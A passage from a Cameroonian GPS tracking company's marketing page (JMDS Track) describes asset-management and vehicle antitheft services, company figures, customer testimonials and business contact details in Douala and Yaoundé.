  6. Improve the quality of your customer service


Find out more

Assets management

  1. Track the roaming of your equipment
  2. Optimise the management of your assets on site and during transport
  3. Secure the transport of your goods
  4. Make your team responsible for preventing the loss of tools, equipment
  5. Take a real-time inventory of your equipment on site
  6. Easily find your mobile objects or equipment



Find out more



Find out more

Antitheft solutions

  1. Secure your vehicles and machinery and increase your chances of recovering them in the event of theft
  2. Protect your assets and reduce the costs associated with their loss
  3. Combine immobiliser and driver identification and limit the risk of theft
  4. Identify fuel theft and reduce costs
  5. Protect your goods and take no more risks
  6. Be alerted to abnormal events

Our Location

 Douala BP cité 

     and

Yaoundé Total Essos


Make An Appointment


Get Directions

682230363/ 677481892

What makes us different from others

  • young and dynamic team
  • call center 24/24 7/7
  • roaming throughout Africa
  • team of developers who can develop customer-specific solutions
  • diversity of services
  • reactive and prompt after-sales service when soliciting a customer or a malfunction
  • Free Maintenance and installation in the cities of Douala and Yaounde

https://youtu.be/xI1cz_Jh2x8

15+
years of experience in GPS system development, production and deployment.

15 Collaborators

More than 15 employees dedicated to the research and development of new applications and to customer care

5 000 Vehicles and mobile assets

5 000 vehicles and mobile assets under management, in Africa

Our Partners










Latest Case Studies

Our current projects 

5/5
Bon SAV , SATISFAIT DU TRAITEMENT DES REQUETES

M DIPITA CHRISTIAN
Logistic Safety Manager Road Safety Manager
5/5
La réactivité de JMDS est excellente
Nous restons satisfait dans l’ensemble des prestations relatives a la couverture de notre parc automobile

Hervé Frédéric NDENGUE
Chef Service Adjoint de la Sécurité Générale (CNPS)
5/5
L’APPLICATION EMIXIS est convivial A L’utilisation
BEIG-3 SARL
DIRECTOR GENERAL
5/5
Nevertheless I am delighted with the service
MR. BISSE BENJAMIN
CUSTOMER

Subsribe To Our Newsletter

Stay in touch with us to get latest news and special offers.



Address JMDS TRACK

Douala bp cité



and

YAOUNDE Total Essos

Call Us

+237682230363



Email Us


info@jmdstrack.cm